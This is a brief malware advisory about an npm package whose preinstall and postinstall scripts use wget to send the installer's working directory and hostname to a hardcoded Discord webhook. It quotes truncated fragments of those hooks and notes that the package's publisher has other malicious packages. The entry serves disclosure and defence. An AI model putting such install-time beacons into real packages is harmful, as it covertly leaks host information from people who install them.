GCVE-110-OSM-2026-12216

package.json declares both preinstall and postinstall scripts that invoke wget to POST the installer's current working directory ($(pwd)) and machine hostname ($(hostname)) to a hardcoded Discord webhook endpoint on discord.com at install time. The tarball ships only package.json (611 bytes); the declared main entry index.js is absent, so the package has no legitimate functionality — the lifecycle beacons are its sole purpose. Installing the package causes automatic host reconnaissance data to be sent to an author-controlled remote endpoint without consent. ENTRY - Preinstall Script in package.json: ""preinstall": "wget --quiet --header=\\\"" - Postinstall Script in package.json: ""postinstall": "wget --quiet --header=\\\"" ADDITIONAL FINDINGS - Very New NPM Publisher Account - Publisher Has Other Malicious Packages - Publisher Shows Burner-Account Pattern